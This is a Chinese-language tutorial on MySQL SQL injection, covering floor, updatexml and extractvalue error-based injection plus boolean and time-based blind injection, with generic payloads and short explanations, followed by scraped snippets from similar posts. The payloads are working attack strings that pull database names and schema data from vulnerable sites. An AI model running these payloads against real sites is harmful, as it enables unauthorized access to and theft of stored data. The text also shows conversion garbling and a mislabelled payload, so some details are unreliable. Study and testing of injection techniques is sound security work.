即利用系統輸出的報錯資訊來進行注入
floor報錯注入
floor報錯注入應該是報錯注入中最為複雜的一種了
其中的基礎為下面這句話
1select count(*) ,floor(rand(0)*2)x from security.users group by x
需要注意的時候floor後面的x為乙個別名,所以group by後面跟的也是floor函式,這是報錯的根源
1select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x
加入我們的需要執行的**後,語句會變成上面這樣
報錯資訊中就會出現我們database()執行後的內容
但是直接將上面的語句拼接到and後面進行聯合查詢並不可行,因為and後面的語句要求輸出乙個布林值,因此我們需要巢狀乙個查詢
1select * from security.users where id=1and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)
這樣也就形成了floor報錯注入的通用payload:
1and(select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的sql語句
要注意的是該語句將輸出字元長度限制為64個字元,且輸出的內容去掉1才是真實值
updatexml報錯注入
updatexml是乙個用於更新xml檔案的函式
updatexml (xml_document, xpath_string, new_value);
第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc
第二個引數:xpath_string (xpath格式的字串) ,如果不了解xpath語法,可以在網上查詢教程。
第三個引數:new_value,string格式,替換查詢到的符合條件的資料
因此我們需要在第二個引數中插入不屬於xpath格式的內容,即可引發報錯
具體payload如下:
1andupdatexml(1,concat("~",payload),1)
插入的原因是不屬於xpath格式,因此必定會引發報錯
最長輸出32位字元,超過可以進行擷取
即利用substr函式,payload變為:
1andextractvalue(1, concat("~",(substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),1,1)))) --+
extractvalue報錯注入
原理通上,同樣只能輸出32位字元
payload如下:
1andextractvalue(1, concat("~",payload))
布林盲注主要存在於頁面中無輸出,但是在sql語句執行成功或者報錯時存在不同表現的情況
布林輸出盲注
即頁面執行失敗無輸出,執行成功有輸出的情況
這種時候的通用payload:
1andascii(substr(payload,1,1))>115
即擷取輸出結果的其中一位取ascii碼,如果該字元的ascii碼為115,則在大於符號後面為115時頁面無輸出,114時頁面有輸出,也就確定了該字元的值,按照次序依次確定即可
當然布林注入非常耗時,一般利用sqlmap等自動化工具實現
布林時間盲注
如果頁面中執行成功和失敗都輸出同樣的內容,那麼可以考慮測試時間盲注
所謂時間盲注,也就是在查詢語句中附加sleep語句,如果執行成功,則結果會延時返回,否則會即時返回,達到區別的效果
這時候我們可以利用sql語句中的if語句
1andif(ascii(substr(database(),1,1))>110,0,sleep(5)) --+
上面語句的意思是,如果ascii碼大於110,則不延時,否則延時5秒返回結果,即可實現注入
sql注入 盲注
一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...
sql注入 盲注
一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...
SQL注入 盲注
遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...